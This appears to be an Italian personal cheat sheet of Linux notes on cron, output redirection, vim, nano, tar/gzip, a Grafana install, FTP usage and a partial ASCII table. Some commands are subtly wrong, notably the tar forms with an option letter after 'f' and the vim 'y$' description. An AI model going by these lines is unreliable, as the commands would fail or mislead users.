E' possibile sostituire i primi cinque valori (cioè quelli che riguardano data e ora di esecuzione del comando) con delle stringhe "speciali" che assolvono al medesimo compito. Queste stringhe sono:

@reboot - lancia il comando all'avvio del sistema

@yearly - lancia il comando una volta all'anno; corrisponde a "0 0 1 1 *"

@annually - (analogo @yearly)

@monthly - lancia il comando una volta al mese; corrisponde a "0 0 1 * *"

@weekly - lancia il comando una volta alla settimana; corrisponde a "0 0 * * 0"

@daily - lancia il comando una volta al giorno; corrisponde a "0 0 * * *"

@midnight - (analogo @daily)

@hourly - lancia il comando una volta all'ora; corrisponde a "0 * * * *"

Vediamo un esempio di operazione pianificata relativa ad un backup quotidiano:

@daily /usr/bin/backup

Inserire commenti all'interno del crontab

E' anche possibile aggiungere dei commenti all'interno del crontab per inserire annotazioni utili per successive modifiche o implementazioni relative ai vari cronjob. L'inserimento di commenti è molto semplice: è sufficiente inserire una linea di testo il cui primo carattere corrisponde ad un cancelletto (#).

Vediamo un esempio:

*) Esempio: Imposto un backup giornaliero

@daily /usr/bin/backup

Altro Esempio:

*) Esegui script invio esiti stampa OGNI giorno alle 18:00

00 18 * * * /usr/local/scripts/lancia_script_esistostampa.sh > /dev/null 2>&1

Significato di > /dev/null 2>&1

Quando si vuole redirigere tutto l’output di un programma lanciato da console in modo che non ci tempesti di messaggi di errore possiamo usare l’espressione:

mrwhite@laptop ~ $ programma > /dev/null 2>&1

Redirezione dell’output

Il segno > in comandi del genere indica la redirezione dell’output del programma da qualche parte. In questo caso qualcosa viene rediretto verso /dev/null e qualcosa verso &1

Standars in, out and error

Ci sono tre fonti principali di input e output per un programma. Standard input proviene dalla tastiera se il programma è interattivo o da un altro programma se dobbiamo processare l’output di un altro programma. Il programma di solito stampa sullo standard output e a volte sullo standard error. questi tre descrittori di file vengono spesso chiamati STDIN, STDOUT and STDERR.

A volte ci si riferisce a loro per numero, 0, 1 e 2 rispettivamente. Per default, se non differentemente specificato, si parla di STDOUT.

Dato questo contesto, il comando sopra redirige lo standard output verso /dev/null, che è una specie di buco nero (o bit bucket) e poi redirige lo standard error verso lo standard output (si deve mettere un & davanti alla destinazione quando si fa cosi).

Il segno & se messo dopo un programma indica che il processo deve essere eseguito in background (non occupa la shell da cui lo lanci)

https://blackchai.wordpress.com/2014/02/02/significato-di-devnull-21/

!!! NOTA !!!

*) Se si impostano piu ripetizioni dello stesso comando (o script, o batch) da lanciare ad orari diversi o ad intervalli di tempo prestabiliti, verranno lanciate più istanze anche se l'istanza precedente è ancora in esecuzione.

Esempio: Lanciamo printloop-dev02.sh alle 16:08 ed alle 16:10

08,10 16 * * * /home/ssoldati/shell-script-lab/printloop/printloop-dev02.sh

oppure

08 16 * * * /home/ssoldati/shell-script-lab/printloop/printloop-dev02.sh

10 16 * * * /home/ssoldati/shell-script-lab/printloop/printloop-dev02.sh

*) Come si puo' vedere dall'output di ps -ef, mentre l'istanza lanciata alle 16:08 è ancora in esecuzione, viene lanciata anche l'istanza delle 16:10.

Questo potrebbe provocare gravi malfunzionamenti e comportamenti imprevisti

ssoldati@vm-sidt-batch:~/shell-script-lab/printloop$ ps -ef | grep printloop

ssoldati 3492 3484 0 16:08 ? 00:00:00 /bin/bash /home/ssoldati/shell-script-lab/printloop/printloop-dev02.sh

ssoldati 3511 13599 0 16:08 pts/3 00:00:00 tail -500f printloop.txt

ssoldati 3984 3972 0 16:10 ? 00:00:00 /bin/bash /home/ssoldati/shell-script-lab/printloop/printloop-dev02.sh

===============================================================

000000000000000000000000000000000000000000000000000000000000000

===============================================================

 

VIM EDITOR

*) L'editor vim ha diverse "modalita'" di funzionamento tra cui le principali sono:

-) INSERT

-) VISUAL

-) COMANDO

*) La modalita' INSERT permette di scrivere il testo come un normale editor.

Per entrare in modalita' insert basta premere il tasto [Esc] e digitare la lettera i

*) La modalità VISUAL permette di selezionare il testo (freccette direzionali), copiarlo (y) ed incollarlo (p)

Per entrare in modalita' visual basta premere il tasto [Esc] e digitare la lettera v

*) La modalita' COMANDO permette di sfruttare una serie di funzioni utili semplicemente premendo opportunamente i tasti hotkey associati al comando che si vuole dare.

Per entrare in modalita' comando basta premere il tasto [Esc]

*) Dato che l’editor VIM crea una copia temporanea del file (nomefile.swp), questo può causare problemi di spazio disco insufficiente quando si cerca di editare file di log di grandi dimensioni (anche 1 GB o poco meno).

Per aprire tali file di log, lanciare vim con l’opzione –R (Read only) in modo da poter effettuare ricerche all’interno del file senza rischiare di saturare lo spazio disco:

Esempio:

vim –R /opt/apache-servicemix-4.5.0/data/log/sim.log

 

COMANDI ESSENZIALI EDITOR VI e VIM (solo dalla modalita' COMANDO)

G ===> Vai all'ultima riga del file

nG ===> Vai alla riga indicata dal numero n (Es. 69G ===> Va alla riga n. 69)

gg ===> Vai all'inizio del file

o ===> Aggiunge una nuova linea ed inserisce il testo sotto la riga corrente

O ===> Aggiunge una nuova linea ed inserisce il testo sopra la riga corrente

x ===> Cancella un carattere da sotto il cursore

dw ===> Cancella dalla posizione corrente alla fine della parola

dd ===> Cancella la riga corrente

D ===> Cancella dalla posizione corrente alla fine della riga

nx ===> Cancella n caratteri da sotto il cursore

ndd ===> Cancella n linee (dalla pos. corrente verso il basso)

nD ===> Cancella n linee (dalla pos. corrente verso il basso)

dn$ ===> Cancella dalla riga corrente alla fine dell'n-esima riga

ndw ===> Cancella n parole (equivalente a ndw)

dG ===> Cancella dalla posizione corrente alla fine del file

dgg ===> Cancella dalla posizione corrente all'inizio del file

dxgg ====> dxG ====> Cancella dalla posizione corrente alla riga Numero x

u ===> (undo) Annulla le modifiche effettuate dall'ultima alla prima

U ===> (Undo) Annulla tutti i cambiamenti fatti sulla riga corrente

:e! ===> (UNDO) Annulla TUTTE le modifiche. Riporta allo stato dell'ultimo salvataggio

:w! ===> Salva senza chiedere conferma (sovrascrivi)

:w nome-nuovo-file ===> Salva con nome

:sav nome-nuovo-file ===> salva con nome e apre il nuovo file

:wq! ===> Salva ed esci senza chiedere conferma

:q! ===> Esci senza salvare

:file ===> Visualizza il nome del file su cui si sta lavorando

:file! ===> Visualizza il nome del file ma non viene troncato, anche se e' attiva l'opzione 'shortmess'

y ===> Copia il testo selezionato in modalita' Visual ([Esc] v)

yy ===> Copia la riga corrente

Y ===> Copia la riga corrente

yG ===> Copia dalla riga corrente all’ultima riga

nyy ===> Copia le n righe successive

nY ===> Copia le n righe successive

yw ===> Copia la parola corrente

nyw ===> Copia n parole

y$ ===> Sposta la posizione corrente alla fine della linea.

p ===> Incolla dal buffer senzanome a DESTRA del cursore

P ===> Incolla dal buffer senzanome a SINISTRA del cursore

nP ===> Incolla n copie del buffer senzanome a SINISTRA del cursore

"ap ===> Incolla dal buffer a a DESTRA del cursore

"b3P ===> Incolla 3 copie del buffer b a SINISTRA del cursore

 

*) Per visualizzare la numerazione delle righe, dal menu comandi [Esc], digitare:

:set number

Se si vuole fare in modo che vim visualizzi il numero di riga ogni volta che si edita un file, è sufficiente editare il file .vimrc presente nella propria Home Directory (nel caso non fosse presente basta crearlo digitando vim .vimrc) ed inserire:

:set number

Per disattivare la visualizzazione dei numeri di riga scrivere il comando (dalla modalita' comando):

:set nonumber

*) Per cercare una stringa all'interno di un documento aperto premere slash (/) e scrivere la parola.

Per evidenziare la stringa successiva premere n (next), per la stringa precedente premere [Shift] n (N maiuscola)

La ricerca in vim è case sensitive quindi distingue maiuscole e minuscole. Per effettuare ricerche NON case sensitive dare il comando

:set ignorecase

Oppure

:set ic ====> ic è un abbreviazione per ignorecase

Oppure

:set smartcase

Per ripristinare la ricerca case sensitive

:set noic

*) Per avere la possibilita' di incollare testo copiato da altri file digitare:

:set paste

VI SU DEBIAN (PROBLEMA FRECCE DIREZIONALI)

*) Nelle distribuzioni Debian e Ubuntu l'editor VI e VIM non permette di utilizzare le frecce direzionali in modalità "Inserimento".

Per ovviare a questo problema bisogna modificare il file di configurazione:

/etc/vim/vimrc.tiny

Specificando l'opzione "set nocompatible" invece di "set compatible"

Per abilitare "al volo" le frecce direionali all'interno del documento aperto, digitare

:set nocp

Questo comando abilitara' le frecce direzionali solo per la sessione aperta

 

********************************************

" Vim configuration file, in effect when invoked as "vi". The aim of this

" configuration file is to provide a Vim environment as compatible with the

" original vi as possible. Note that ~/.vimrc configuration files as other

" configuration files in the runtimepath are still sourced.

" When Vim is invoked differently ("vim", "view", "evim", ...) this file is

" _not_ sourced; /etc/vim/vimrc and/or /etc/vim/gvimrc are.

 

 

" Debian system-wide default configuration Vim

set untimepath=~/.vim,/var/lib/vim/addons,/usr/share/vim/vimfiles,/usr/share/vim/vim80,/usr/share/vim/vimfiles/after,/var/lib/vim/addons/after,~/.vim/after

 

 

set nocompatible

" vim: set ft=vim:

*********************************************

------------------------------------------------------------------------------

 

Trova e Sostituisci in Vim - Parte 1

Questo articolo, suddiviso in parti, mostra degli esempi d'uso della funzione "Trova e Sostituisci" nell'editor Vim.

Vim fornisce il comando :s (sostituisci) per la ricerca e la sostituzione di stringhe di testo.

Esempi di base

*) Trova ogni occorrenza della stringa 'foo' (nella riga corrente) e la sostituisce con la stringa 'bar'.

:s/foo/bar/g

*) Trova ogni occorrenza della stringa 'foo' (in tutte le righe del testo) e la sostituisce con la stringa 'bar'.

:%s/foo/bar/g

*) Trova ogni occorrenza della stringa 'foo' (in tutte le righe del testo) e la sostituisce con la stringa 'bar', chiedendo prima conferma.

:%s/foo/bar/gc

*) Trova ogni occorrenza esatta della stringa 'foo' (in tutte le righe del testo) e la sostituisce con la stringa 'bar', chiedendo prima conferma.

:%s/\<foo\>/bar/gc

*) Trova ogni occorrenza (case insensitive, per il flag i) della stringa 'foo' (in tutte le righe del testo) e la sostituisce con la stringa 'bar', chiedendo prima conferma.

:%s/foo/bar/gci

*) Trova ogni occorrenza (case sensitive, per il flag i) della stringa 'foo' (in tutte le righe del testo) e la sostituisce con la stringa 'bar', chiedendo prima conferma.

:%s/foo/bar/gcI

Il flag g significa globale: ogni occorrenza nella riga viene cambiata, piuttosto che solo la prima. Questo flag assume l'impostazione predefinita per l'opzione gdefault e edcompatible (off), che richiede che il flag g sia incluso in % s///g per eseguire un sostituzione globale. Usando :set gdefault si crea confusione perché la sostituzione %s/// è globale, mentre %s///g non lo è (cioè g inverte il suo significato).

Quando si usa la flag c, è necessario confermare cosa fare per ogni occorrenza trovata. Vim produrrà qualcosa come

replace with foobar (y/n/a/q/l/^E/^Y)?

dove foobar è la stringa in sostituzione.

Puoi digitare

y che significa sostituire questa occorrenza,

n per saltare questa occorrenza,

a sostituire questa e tutte le occorrenze rimanenti,

q per uscire dal comando,

l per sostituire questa occorrenza e uscire,

^E per far scorrere lo schermo verso l'alto tenendo premuto il tasto Ctrl e premendo E

^Y per far scorrere lo schermo verso il basso di tenendo premuto il tasto Ctrl e premendo Y.

Le ultime due scelte sono disponibili solo se Vim è una build normal, big o huge o la funzione insert_expand è stata abilitata al momento della compilazione (cercare +insert_expand nell'output del comando :version).

https://www.facilinux.it/2019/03/trova-e-sostituisci-in-vim-parte-1

14 March 2019 - Posted in linux by franco

 

===============================================================

000000000000000000000000000000000000000000000000000000000000000

===============================================================

 

VIMDIFF

*) Esiste una versione di vi vim molto utile in caso si debba comparare 2 file di configurazione

vimdiff file01 file02

===============================================================

000000000000000000000000000000000000000000000000000000000000000

===============================================================

 

NANO TEXT EDITOR

COPIARE E INCOLLARE TESTO CON nano

Il text editor nano non ha uno specifico comando "copia" ma il testo viene copiato automaticamente semplicemente selezionandolo.

Quindi, per copiare il testo di un file ed incollarlo all’interno di un file diverso, basta lanciare il comando:

sudo nano /percorso/cartella/filetesto_1.xxx

Una volta aperto l’editor, con il mouse basterà selezionare il testo che ci interessa. Il testo selezionato sarà automaticamente copiato senza bisogno di ulteriori azioni (tipo CTRL+C)

Chiudiamo nano e apriamo l’altro file

sudo nano /percorso/cartella/filetesto_2.xxx

Una volta aperto il file vuoto premere [CTRL] + [v] oppure click Dx "Paste" per incollare il testo del primo file nel secondo.

Per salvare le modifiche all’interno del file premere [CTRL] + [o] quindi scegliere il nome da dare al nuovo file, oppure semplicemente [Invio] per sovrascrivere il file su cui si sta lavorando.

Per trovare e sostituire un carattere o una stringa premere [CTRL] + [/] quindi scrivere il carattere o la stringa che si vuole trovare e dare [Invio]. Successivamente l’editor chiede con quale altro carattere o stringa si vuole sostituire quanto ricercato. Proseguendo e premendo [a] si opera la sostituzione nell’intero documento.

Per uscire premere [CTRL] + [x]

===============================================================

000000000000000000000000000000000000000000000000000000000000000

===============================================================

 

ARCHIVI e FILE COMPRESSI (gz gzip zip tar)

TAR

*) Creare archivi

tar -cvf nome_archivio.tar nome_cartella_da_comprimere

tar -cvfz nome_archivio.tar.gz nome_cartella_da_comprimere

tar -cvfJ nome_archivio.tar.xz nome_cartella_da_comprimere

tar -cvfj nome_archivio.tar.bz2 nome_cartella_da_comprimere

*) Estrarre archivi

tar -xvf archivio.tar

tar -xvfz archivio.tar.gz o archivio.tgz o archivio.gz

tar -xvfJ archivio.tar.xz o archivio.xz

tar -xvfj archivio.tar.bz2 o archivio.bz2

*) Estrarre archivi in una specifica directory (va creata in precedenza)

tar xvf archivio.tar -C /percorso/directory

oppure

tar xvfC archivio.tar /percorso/directory

*) Elencare il contenuto (senza estrarre i file dell’archivio)

tar -tf archivio.tar

Opzioni:

c ====> crea un archivio

f ====> specifica un file (o una directory) da estrarre o da creare

x ====> estrae un archivio

z ====> opzione per comprimere o decomprimere file .gz o .tgz (gzip, gunzip)

t ====> permette di mostrare il contenuto degli archivi

v ====> dà in output maggiori informazioni sui file (verbose)

J ====> opzione per comprimere o decomprimere file .xz

j ====> opzione per comprimere o decomprimere file .bz2

-C ====> permette di specificare una directory dove estrarre i file contenuti nel .tar (o .tar.gz)

tar è un utility che serve solo ad archiviare, non riduce quindi lo spazio occuato dai file.

Considerando che gzip e bzip2 comprimono ma non archiviano possiamo dire che solo coniugando l’uso delle due utility (basta aggiungere una z, gzip, o j, bzip2, alle opzioni del comando tar) possiamo "archiviare" cartelle compresse.

Ecco come fare:

*) Comprimere archivi con gzip (.tgz o tar.gz)

tar -czvf nome_archivio.tgz nome_cartella_da_archiviare

*) Comprimere archivi con bzip2 (.tar.bz2)

tar -cjvf nome_archivio.bz2 nome_cartella_da_archiviare

*) Decomprimere archivi creati con gzip (.tgz o tar.gz)

tar -xvfz ./nome_archivio.tgz

*) Decomprimere archivi creati con bzip2 (.tar.bz2)

tar -xjvf ./nome_archivio.tar.bz2

*) Listare il contenuto degli archivi compressi

tar -ztf nome_archivio.tar.gz

(fonte - http://maurizio.mavida.com/2005/06/02/tar-e-targz/)

GZIP

gzip -d nomefile.gz ===> Decomprime ed estrae (-d = decomprimi) tutto il contenuto nella cartella "nomefile"

gzip nomefile.xyz ===> Comprime il file specificato in nomefile.xyz.gz

gzip -k nomefile.xyz ===> Comprime il file specificato in nomefile.xyz.gz ma mantiene anche il file originale

ZIP

unzip nomefile.zip -d /xxx/yyy/cartella-destinazione ===>

zless nomefile.gzip ===> Permette di visualizzare il testo di un documento copresso con gzip senza decomprimerlo

zcat nomefile.gzip ===> Permette di visualizzare il testo di un documento copresso con gzip senza decomprimerlo

zgrep nomefile.gz o .tgz o .tar.gz ====> Effettua ricerche testuali in file o cartelle compresse.

===============================================================

000000000000000000000000000000000000000000000000000000000000000

===============================================================

 

GRAFANA

Installazione Grafana su Linux Centos 7

*) Scaricare grafana dal web (il file si trovera' in /home/username):

wget https://dl.grafana.com/oss/release/grafana-6.0.1-1.x86_64.rpm

*) Installare grafana

sudo yum localinstall grafana-6.0.1-1.x86_64.rpm

*) Riavviare il demone systemctl (Ricostruisce l'albero delle dipendenze)

systemctl daemon-reload

*) Avviare il server di grafana (Default Port = 3000)

systemctl start grafana-server

*) Abilitare Grafana per essere lanciato all'avvio di Linux

systemctl enable grafana-server

Default ID = admin

Default PSW = admin

===============================================================

000000000000000000000000000000000000000000000000000000000000000

===============================================================

 

FTP COMANDI PRINCIPALI

Guida all'uso di FTP per il principiante

Una guida rapida all'uso di ftp.

Il programma ftp standard è il client originale ftp. Esso è compreso nella configurazione standard della maggior parte delle distribuzioni Linux. Apparve per la prima volta nel BSD4.2, sviluppato dall'Università della California, a Berkeley.

3.1 Eseguire il programma ftp

Usare ftp è facile. Poniamo che ci si voglia connettere al sito ftp anonimo metalab.unc.edu per scaricare l'ultima versione dei sorgenti del kernel di Linux.

Si digiti, al prompt dei comandi:

$ ftp metalab.unc.edu

Il programma ftp tenterà di connettersi a metalab.unc.edu. Un altro modo per fare ciò è quello di eseguire ftp dal prompt dei comandi senza parametri, usando poi il comando open, con il nome del sito come argomento:

$ ftp

ftp> open metalab.unc.edu

3.2 Autenticarsi presso un server FTP

Quando ci si connette ad un sito FTP, viene avviata una sessione di autenticazione (premendo il tasto invio, ftp cercherà di autenticarvi con lo stesso utente che state usando sulla macchina locale: in questo caso, foo). Ci autentichiamo come anonymous o ftp, per accedere all'archivio pubblico.

220 helios.oit.unc.edu FTP server (Version wu-2.6.0(2) Wed Nov 17 14:44:12

EST 1999) ready.

Name (metalab.unc.edu:foo):

Ora, si digiti un indirizzo e-mail completo come password (è quello che la maggior parte dei siti FTP pubblici richiede).

331 Guest login ok, send your complete e-mail address as password.

Password:

Completata con successo l'autenticazione (login), viene fornita l'informazione seguente:

Remote system type is UNIX.

Using binary mode to transfer files.

ftp>

3.3 Tipi di trasferimento file

Dopo aver ottenuto accesso ad un sito ftp, ftp mostrerà il tipo di trasferimento file. Nel nostro esempio, esso è binario. La modalità binaria trasferisce i file, bit per bit, così come essi si trovano sul server FTP. La modalità ascii, invece, trasferisce direttamente il testo. Per commutare tra le due modalità, basta digitare ascii o binary.

Si vogliono trasferire i sorgenti del kernel, così si mantiene la modalità di trasferimento file binaria. Si userà tale modalità anche per qualsiasi file non testuale, come immagini, archivi zip/gzip, programmi eseguibili, ecc. Nel dubbio, si usi la modalità binaria.

3.4 Navigare ed elencare le directory

Per vedere un elenco dei file, si digiti ls. Il comando ls inviato al server ftp è eseguito sul server remoto, così le opzioni da riga di comando che si potranno usare con esso varieranno a seconda del server. Comunque, le opzioni più comuni sono di solito disponibili. Controllare la pagina di manuale di ls per i dettagli.

ftp> ls

200 PORT command successful.

150 Opening ASCII mode data connection for /bin/ls.

total 33590

-r--r--r-- 1 root other 34348506 Dec 03 03:53 IAFA-LISTINGS

lrwxrwxrwx 1 root other 7 Jul 15 1997 README -> WELCOME

-rw-r--r-- 1 root other 890 Nov 15 13:11 WELCOME

dr-xr-xr-x 2 root other 512 Jul 15 1997 bin

dr-xr-xr-x 2 root other 512 Jul 15 1997 dev

dr-xr-xr-x 2 root other 512 Jul 18 1997 etc

drwxrwxrwx 11 ftp 20 4608 Nov 28 16:00 incoming

lrwxrwxrwx 1 root other 13 Jun 04 1998 ls-lR -> IAFA-LISTINGS

dr-xr-xr-x 17 root root 512 Jun 08 11:43 pub

dr-xr-xr-x 3 root other 512 Jul 15 1997 unc

dr-xr-xr-x 5 root other 512 Jul 15 1997 usr

226 Transfer complete.

Se il comando ls elenca così tanti file che l'elenco sparisce nella parte superiore dello schermo, è possibile usare la combinazione di tasti Shift-PaginaSu per scorrere verso l'alto. Ciò funziona sia nella console Linux che in xterm che in rxvt.

Negli archivi FTP pubblici, le risorse scaricabili sono di solito contenute nella directory /pub. Nel nostro esempio, si sa che i sorgenti del kernel si trovano nella directory /pub/Linux/kernel, così, per accedere a tale directory, si digiti:

ftp> cd pub/Linux/kernel

250-README for kernel

250-

250-What you'll find here: kernel sources and patches

250-

250-

250 CWD command successful.

I messaggi mostrati, che iniziano con "250", sono informazioni spedite dal server. In questo esempio, il server ftp è stato configurato per spedire automaticamente il file README non appena si accede alla directory.

3.5 Download e upload dei file

Adesso, dopo aver inviato un altro ls, capiamo di dover accedere con cd alla directory v2.2. Grazie ad un ulteriore ls, si trova il file che si desiderava scaricare. Si tratta di linux-2.2.13.tar.gz. Perciò, si digiti:

ftp> get linux-2.2.13.tar.gz

local: linux-2.2.13.tar.gz remote: linux-2.2.13.tar.gz

200 PORT command successful.

150 Opening BINARY mode data connection for linux-2.2.13.tar.gz (15079540

bytes).

Il programma ftp ha iniziato a salvare il file remoto linux-2.2.13.tar.gz nel file locale linux-2.2.13.tar.gz.

Se si fosse voluto salvarlo, piuttosto, nel file locale foo.tar.gz, si sarebbe dovuto specificare nel modo seguente:

ftp> get linux-2.2.13.tar.gz foo.tar.gz

local: foo.tar.gz remote: linux-2.2.13.tar.gz

200 PORT command successful.

150 Opening BINARY mode data connection for linux-2.2.13.tar.gz (15079540

bytes).

Se si desidera scaricare più di un file alla volta, si può usare il comando mget (multiple get). Si possono specificare i file che mget deve scaricare come una lista di nomi di file separati da spazi, oppure tramite l'uso dei caratteri jolly. Per esempio:

ftp> mget linux*

Scaricherà tutti i file che iniziano con la stringa "linux". Normalmente, mget avverte, per ogni file, che sta per scaricarlo. Si può variare questo comportamento usando il comando prompt.

Ora, supponiamo di aver scritto una parte di un programma e supponiamo di volerla spedire alla MetaLab affinché la includa nell'archivio di software per Linux. Per prima cosa, ci si sposterà verso la directory /incoming (la maggior parte dei server FTP pubblici prevede una directory, chiamata solitamente "incoming" o "uploads", in cui si può eseguire l'upload dei file), poi si userà il comando put:

ftp> cd /incoming

ftp> put foo.tar.gz

local: foo.tar.gz remote: foo.tar.gz

200 PORT command successful.

150 Opening BINARY mode data connection for foo.tar.gz.

226 Transfer complete.

10257 bytes sent in 0.00316 secs (3.2e+03 Kbytes/sec)

Il comando put funziona allo stesso modo di get, così è possibile usare mput per l'upload di più file. Si può anche effettuare l'upload di un file locale cambiandogli il nome sul server: basta specificare il nome del file remoto e/o il nome del percorso come argomenti.

Cosa succede se il file foo.tar.gz non si trova nella directory locale corrente al momento del tentativo di upload? Si può usare il comando lcd (local change directory) per cambiare posizione tra le directory locali:

ftp> lcd /home/foo/

Local directory now /home/foo

3.6 Eseguire comandi di shell

Il client ftp supporta l'uso del punto esclamativo (!) per eseguire comandi locali. Per esempio, per ottenere un elenco dei file presenti nella propria directory locale corrente, si digiti:

ftp> !ls

Ciò che accade è che ftp chiama la shell (specificata nella variabile d'ambiente $SHELL), ed è questa che esegue ls. In questo modo, si può eseguire qualsiasi riga di comando che funziona con la propria shell, semplicemente facendola precedere da "!" (la shell predefinita nella maggior parte delle distribuzioni Linux è la bash: Bourne Again SHell). Si noti che !cd non funziona nel modo atteso: da qui l'esigenza del comando lcd.

3.7 hash e tick

Non sarebbe carino poter monitorare il progresso dello scaricamento di un file con ftp? Il comando hash mostra a video dei caratteri cancelletto (ovvero '#') durante lo scaricamento di un file:

ftp> hash

Hash mark printing on (1024 bytes/hash mark).

Come si intuisce, ftp mostrerà un carattere cancelletto per ogni 1024 byte di dati scaricati.

Esiste anche la possibilità di usare tick:

ftp> tick

Tick counter printing on (10240 bytes/tick increment).

Quando si scaricherà un file, questo comando stamperà un messaggio simile al seguente:

Bytes transferred: 11680

3.8 Altri comandi ftp

Esistono molti altri comandi ftp. Se si possiede l'autorizzazione (e, connettendosi al proprio account di shell privato, si dovrebbe possederla) è possibile anche creare directory sul server remoto usando il comando mkdir. La rimozione di un file o di una directory sul server remoto è possibile usando i comandi delete e rmdir rispettivamente. Si possono anche cambiare i permessi associati a file e directory remote usando il comando chmod.

Per informazioni più avanzate sull'uso di ftp si veda l'help in linea del programma ftp (accessibile digitando help senza argomenti per una lista dei comandi disponibili, o seguito da <nome_comando> per aiuto su un comando specifico. Un'altra fonte è la pagina di manuale Unix di ftp, che si ottiene digitando man ftp al prompt dei comandi.

Fonte: http://www.pluto.it/files/ildp/HOWTO/FTP/FTP-3.html

===============================================================

000000000000000000000000000000000000000000000000000000000000000

===============================================================

 

***** ASCII TABLE *****

ASCII, stands for American Standard Code for Information Interchange. It's a 7-bit character code where every single bit represents a unique character. On this webpage you will find 8 bits, 256 characters, ASCII table according to Windows-1252 (code page 1252) which is a superset of ISO 8859-1 in terms of printable characters. In the range 128 to 159 (hex 80 to 9F), ISO/IEC 8859-1 has invisible control characters, while Windows-1252 has writable characters. Windows-1252 is probably the most-used 8-bit character encoding in the world.

ASCII control characters (character code 0-31)

The first 32 characters in the ASCII-table are unprintable control codes and are used to control peripherals such as printers.

DEC OCT HEX BIN Symbol HTML Number HTML Name Description

0 000 00 00000000 NUL &#000; Null char

1 001 01 00000001 SOH &#001; Start of Heading

2 002 02 00000010 STX &#002; Start of Text

3 003 03 00000011 ETX &#003; End of Text

4 004 04 00000100 EOT &#004; End of Transmission

5 005 05 00000101 ENQ &#005; Enquiry

6 006 06 00000110 ACK &#006; Acknowledgment

7 007 07 00000111 BEL &#007; Bell

8 010 08 00001000 BS &#008; Back Space

9 011 09 00001001 HT &#009; Horizontal Tab

10 012 0A 00001010 LF &#010; Line Feed

11 013 0B 00001011 VT &#011; Vertical Tab

12 014 0C 00001100 FF &#012; Form Feed

13 015 0D 00001101 CR &#013; Carriage Return

14 016 0E 00001110 SO &#014; Shift Out / X-On

15 017 0F 00001111 SI &#015; Shift In / X-Off

16 020 10 00010000 DLE &#016; Data Line Escape

17 021 11 00010001 DC1 &#017; Device Control 1 (oft. XON)

18 022 12 00010010 DC2 &#018; Device Control 2

19 023 13 00010011 DC3 &#019; Device Control 3 (oft. XOFF)

20 024 14 00010100 DC4 &#020; Device Control 4

21 025 15 00010101 NAK &#021; Negative Acknowledgement

22 026 16 00010110 SYN &#022; Synchronous Idle

23 027 17 00010111 ETB &#023; End of Transmit Block

24 030 18 00011000 CAN &#024; Cancel

25 031 19 00011001 EM &#025; End of Medium

26 032 1A 00011010 SUB &#026; Substitute

27 033 1B 00011011 ESC &#027; Escape

28 034 1C 00011100 FS &#028; File Separator

29 035 1D 00011101 GS &#029; Group Separator

30 036 1E 00011110 RS &#030; Record Separator

31 037 1F 00011111 US &#031; Unit Separator

-----------------------------------------------------------------------------------------------

ASCII printable characters (character code 32-127)

Codes 32-127 are common for all the different variations of the ASCII table, they are called printable characters, represent letters, digits, punctuation marks, and a few miscellaneous symbols. You will find almost every character on your keyboard. Character 127 represents the command DEL.

DEC OCT HEX BIN Symbol HTML Number HTML Name Description

32 040 20 00100000 &#32; Space

33 041 21 00100001 ! &#33; Exclamation mark

34 042 22 00100010 " &#34; &quot; Double quotes (or speech marks)

35 043 23 00100011 # &#35; Number

36 044 24 00100100 $ &#36; Dollar

37 045 25 00100101 % &#37; Per cent sign

38 046 26 00100110 & &#38; &amp; Ampersand

39 047 27 00100111 ' &#39; Single quote

40 050 28 00101000 ( &#40; Open parenthesis (or open bracket)

41 051 29 00101001 ) &#41; Close parenthesis (or close bracket)

42 052 2A 00101010 * &#42; Asterisk

43 053 2B 00101011 + &#43; Plus

44 054 2C 00101100 , &#44; Comma

45 055 2D 00101101 - &#45; Hyphen

46 056 2E 00101110 . &#46; Period, dot or full stop

47 057 2F 00101111 / &#47; Slash or divide

48 060 30 00110000 0 &#48; Zero

49 061 31 00110001 1 &#49; One

50 062 32 00110010 2 &#50; Two

51 063 33 00110011 3 &#51; Three

52 064 34 00110100 4 &#52; Four

53 065 35 00110101 5 &#53; Five

54 066 36 00110110 6 &#54; Six

55 067 37 00110111 7 &#55; Seven

56 070 38 00111000 8 &#56; Eight

57 071 39 00111001 9 &#57; Nine

58 072 3A 00111010 : &#58; Colon

59 073 3B 00111011 ; &#59; Semicolon

60 074 3C 00111100 < &#60; &lt; Less than (or open angled bracket)

61 075 3D 00111101 = &#61; Equals

62 076 3E 00111110 > &#62; &gt; Greater than (or close angled bracket)

63 077 3F 00111111 ? &#63; Question mark

64 100 40 01000000 @ &#64; At symbol

65 101 41 01000001 A &#65; Uppercase A

66 102 42 01000010 B &#66; Uppercase B

67 103 43 01000011 C &#67; Uppercase C

68 104 44 01000100 D &#68; Uppercase D

69 105 45 01000101 E &#69; Uppercase E

70 106 46 01000110 F &#70; Uppercase F

71 107 47 01000111 G &#71; Uppercase G

72 110 48 01001000 H &#72; Uppercase H

73 111 49 01001001 I &#73; Uppercase I

74 112 4A 01001010 J &#74; Uppercase J

75 113 4B 01001011 K &#75; Uppercase K

76 114 4C 01001100 L &#76; Uppercase L

77 115 4D 01001101 M &#77; Uppercase M

78 116 4E 01001110 N &#78; Uppercase N

79 117 4F 01001111 O &#79; Uppercase O

80 120 50 01010000 P &#80; Uppercase P

81 121 51 01010001 Q &#81; Uppercase Q

82 122 52 01010010 R &#82; Uppercase R

83 123 53 01010011 S &#83; Uppercase S

84 124 54 01010100 T &#84; Uppercase T

85 125 55 01010101 U &#85; Uppercase U

86 126 56 01010110 V &#86; Uppercase V

87 127 57 01010111 W &#87; Uppercase W

88 130 58 01011000 X &#88; Uppercase X

89 131 59 01011001 Y &#89; Uppercase Y

90 132 5A 01011010 Z &#90; Uppercase Z

91 133 5B 01011011 [ &#91; Opening bracket

92 134 5C 01011100 \ &#92; Backslash

93 135 5D 01011101 ] &#93; Closing bracket

94 136 5E 01011110 ^ &#94; Caret - circumflex

95 137 5F 01011111 _ &#95; Underscore

96 140 60 01100000 ` &#96; Grave accent

97 141 61 01100001 a &#97; Lowercase a

98 142 62 01100010 b &#98; Lowercase b

99 143 63 01100011 c &#99; Lowercase c

100 144 64 01100100 d &#100; Lowercase d

101 145 65 01100101 e &#101; Lowercase e

102 146 66 01100110 f &#102; Lowercase f

103 147 67 01100111 g &#103; Lowercase g

104 150 68 01101000 h &#104; Lowercase h

105 151 69 01101001 i &#105; Lowercase i

106 152 6A 01101010 j &#106; Lowercase j

107 153 6B 01101011 k &#107; Lowercase k

108 154 6C 01101100 l &#108; Lowercase l

109 155 6D 01101101 m &#109; Lowercase m

110 156 6E 01101110 n &#110; Lowercase n

111 157 6F 01101111 o &#111; Lowercase o

112 160 70 01110000 p &#112; Lowercase p

